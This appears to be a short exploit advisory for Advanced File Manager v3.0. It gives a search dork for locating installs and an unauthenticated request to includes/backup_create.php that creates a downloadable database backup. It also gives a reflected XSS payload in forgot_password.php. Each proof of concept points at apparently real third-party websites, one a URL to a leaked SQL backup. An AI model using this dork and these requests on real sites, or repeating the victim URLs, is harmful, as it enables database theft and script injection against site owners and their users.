Advanced File Manager 3.0 XSS / Backup Disclosure

`========================================================================  
| # Title : Advanced File Manager v3.0 Creat & Download Backup vulnerability  
| # Author : indoushka  
| # email : [email protected]  
| # Tested on : windows 8.1 FranASSais V.(Pro)  
| # Version : v3.0  
| # Vendor : http://dl.persianscript.ir/script/Advanced_File_Management_v3.0%28PersianScript.ir%29.rar  
========================================================================  
  
Dork : "Advanced File Management 3"  
  
poc :  
  
1 - add /includes/backup_create.php   
2 - it make backup and show you the directory to download it  
  
http://techhomeltd.com/fileking//includes/backup_create.php  
  
http://tammarotransports.com/filix//includes/backup_db/rxnkcom_pgo_fileking_2016-07-20%2014-21-31.sql  
  
========================================================================  
| # Title : Advanced File Manager v3.0 XSS vulnerability  
| # Author : indoushka  
| # email : [email protected]  
| # Tested on : windows 8.1 FranASSais V.(Pro)  
| # Version : v3.0  
| # Vendor : http://dl.persianscript.ir/script/Advanced_File_Management_v3.0%28PersianScript.ir%29.rar  
========================================================================  
  
poc :  
  
http://techhomeltd.com/fileking/forgot_password.php?email=%3Cscript%3Ealert(1);%3C/script%3E&restore=yes  
  
Greetz :   
jericho http://attrition.org & http://www.osvdb.org/ * http://packetstormsecurity.com * Larry W. Cashdollar*  
Hussin-X *D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be *  
---------------------------------------------------------------------------------------------------------------  
`